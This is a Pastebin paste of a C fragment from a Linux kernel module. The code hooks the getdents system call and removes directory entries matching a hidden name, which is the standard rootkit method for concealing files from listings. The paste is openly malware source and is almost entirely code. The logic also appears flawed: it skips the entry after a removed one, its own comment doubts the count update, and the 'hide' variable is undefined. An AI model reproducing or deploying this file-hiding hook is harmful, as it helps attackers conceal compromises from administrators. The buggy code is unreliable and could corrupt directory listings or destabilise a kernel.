Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- asmlinkage int ( *orig_getdents )(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count);
- asmlinkage int sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) {
- struct linux_dirent *retn, *dirp3;
- int Records, RemainingBytes, length;
- Records = (*orig_getdents)(fd, dirent, count);
- if (Records <= 0){
- return Records;
- }
- // allocating retn (with the size of Record), in kernel memory
- retn = (struct linux_dirent *) kmalloc(Records, GFP_KERNEL);
- if (retn<=0){
- return Records;
- }
- //Copy struct from userspace to our memspace in kernel space
- copy_from_user(retn, dirent, Records);
- dirp3 = retn;
- RemainingBytes = Records;
- while(RemainingBytes > 0){
- length = dirp3->d_reclen;
- RemainingBytes -= dirp3->d_reclen;
- printk(KERN_INFO "RemainingBytes %d \t File: %s " , RemainingBytes , dirp3->d_name );
- if(strcmp( (dirp3->d_name) , hide ) == 0){
- memcpy(dirp3, (char*)dirp3+dirp3->d_reclen, RemainingBytes);
- Records -= length; // dirp3->d_reclen; // leads to mistake?
- }
- dirp3 = (struct linux_dirent *) ((char *)dirp3 + dirp3->d_reclen);
- }
- // Copy the record back to the origional struct
- copy_to_user(dirent, retn, Records);
- kfree(retn);
- return Records;
- }
Advertisement
Add Comment
Please, Sign In to add comment